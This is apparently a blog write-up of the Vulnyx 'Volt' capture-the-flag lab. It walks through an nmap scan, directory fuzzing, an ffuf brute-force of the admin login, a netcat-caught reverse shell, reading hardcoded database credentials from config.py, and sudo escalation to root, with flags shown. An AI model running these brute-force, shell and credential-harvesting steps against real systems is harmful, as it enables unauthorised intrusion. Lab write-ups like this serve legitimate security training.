Post

Vulnyx Volt Writeup

A comprehensive write-up of the Volt machine from Vulnyx, covering port scanning, web admin login brute-forcing, credential discovery in application config files, and full root escalation via sudo.

Vulnyx Volt Writeup

The Volt machine on Vulnyx is an engaging CTF challenge involving web application enumeration, administrative authentication brute-forcing, discovery of sensitive credentials hardcoded in application configuration files, and straightforward privilege escalation via sudo privileges.


Reconnaissance — Port Scan

We begin the engagement by performing a SYN scan with nmap across all 65,535 TCP ports to map out the target’s exposed attack surface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.25
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 19:37 +0200
Initiating ARP Ping Scan at 19:37
Scanning 192.168.0.25 [1 port]
Completed ARP Ping Scan at 19:37, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:37
Scanning 192.168.0.25 [65535 ports]
Discovered open port 80/tcp on 192.168.0.25
Discovered open port 22/tcp on 192.168.0.25
Completed SYN Stealth Scan at 19:37, 0.52s elapsed (65535 total ports)
Nmap scan report for 192.168.0.25
Host is up, received arp-response (0.00017s latency).
Scanned at 2026-08-03 19:37:07 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:13:25:B8 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Web — Exploring the Application

Visiting the target IP on port 80 reveals the web application’s main interface.


Web — Directory Fuzzing

We execute dirsearch to discover hidden directories and endpoints on the web server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(suraxddq㉿kali)-[~]
└─$ dirsearch -u http://192.168.0.25
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/suraxddq/reports/http_192.168.0.25/_26-08-03_19-46-17.txt

Target: http://192.168.0.25/

[19:46:17] Starting: 
[19:46:20] 200 -    3KB - /About                                            
[19:46:20] 200 -    3KB - /about                                            
[19:46:20] 200 -    3KB - /accessories                                      
[19:46:20] 200 -    3KB - /account                                          
[19:46:20] 200 -    3KB - /account/                                         
[19:46:21] 200 -    3KB - /admin                                            
[19:46:24] 200 -  111B  - /api                                              
[19:46:24] 200 -  111B  - /api/                                             
[19:46:24] 200 -    3KB - /audio                                            
[19:46:25] 200 -    3KB - /blog                                             
[19:46:25] 200 -    3KB - /blog/
[19:46:25] 200 -    3KB - /careers                                          
[19:46:25] 200 -    4KB - /cart                                             
[19:46:26] 200 -    3KB - /checkout                                         
[19:46:27] 200 -    3KB - /contact                                          
[19:46:29] 200 -    3KB - /FAQ                                              
[19:46:29] 200 -    3KB - /faq                                              
[19:46:33] 200 -    3KB - /login                                            
[19:46:33] 200 -    3KB - /login/                                           
[19:46:35] 200 -    3KB - /orders                                                
[19:46:38] 200 -    3KB - /privacy                                          
[19:46:38] 200 -    6KB - /products                                         
[19:46:39] 200 -    3KB - /register                                         
[19:46:40] 200 -    6KB - /search                                           
[19:46:40] 200 -    6KB - /Search
[19:46:40] 403 -    3KB - /secret                                           
[19:46:40] 403 -    3KB - /Secret/                                          
[19:46:40] 403 -    3KB - /secret/
[19:46:42] 404 -  548B  - /static/dump.sql                                  
[19:46:42] 404 -  548B  - /static/api/swagger.yaml
[19:46:42] 404 -  548B  - /static/api/swagger.json
[19:46:42] 200 -    3KB - /support                                          
[19:46:42] 200 -    3KB - /support/                                         
[19:46:43] 200 -    3KB - /terms                                            
[19:46:47] 200 -    3KB - /wishlist  

Web — Admin Portal Brute Force

Navigating to the /admin login page presents an authentication portal.

We perform a brute-force attack on the admin login endpoint using ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(suraxddq㉿kali)-[~]
└─$ ffuf -u "http://192.168.0.25/admin" -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w ~/CTF/techyou.txt -r -fs 3326

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://192.168.0.25/admin
 :: Wordlist         : FUZZ: /home/suraxddq/CTF/techyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=admin&password=FUZZ
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 3326
________________________________________________

chocolate3              [Status: 200, Size: 3878, Words: 297, Lines: 63, Duration: 51ms]
:: Progress: [20000/20000] :: Job [1/1] :: 3125 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Exploitation — Reverse Shell

With the valid admin credentials, we gain access to the administration section.

From the dashboard, we trigger remote command execution.

We set up a Netcat listener and catch the incoming reverse shell connection as www-data.

1
2
3
4
5
6
┌──(suraxddq㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
id
connect to [192.168.0.11] from (UNKNOWN) [192.168.0.25] 44200
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-exploitation — Credential Extraction

Inspecting the application files under /opt/volt, we find sensitive hardcoded database credentials inside config.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@volt:/opt/volt$ cd /opt/
www-data@volt:/opt$ ls
volt
www-data@volt:/opt/volt$ cd volt/
www-data@volt:/opt/volt$ ls
app.py  config.py  __pycache__  static  templates  venv
www-data@volt:/opt/volt$ cat config.py 
# Volt store - database configuration
# TODO: move secrets to environment variables before production rollout
DB_HOST = "127.0.0.1"
DB_PORT = 3306
DB_NAME = "volt_store"
DB_USER = "batusai"
DB_PASS = "V0lt_db_S3cr3t_2026"

Lateral Movement — User Batusai

Using the password discovered in config.py, we switch user to batusai.

1
2
3
www-data@volt:/opt/volt$ su batusai
Password: 
batusai@volt:/opt/volt$ 

Privilege Escalation — Root Access

We check sudo permissions for user batusai using sudo -l.

1
2
3
4
5
6
7
8
batusai@volt:/opt/volt$ sudo -l
Matching Defaults entries for batusai on volt:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User batusai may run the following commands on volt:
    (ALL : ALL) ALL

With full sudo permissions ((ALL : ALL) ALL), we switch to root and read both flags.

1
2
3
root@volt:/opt/volt# cat /root/root.txt /home/batusai/user.txt 
c21c4e2d4
a0bcc7084
This post is licensed under CC BY 4.0 by the author.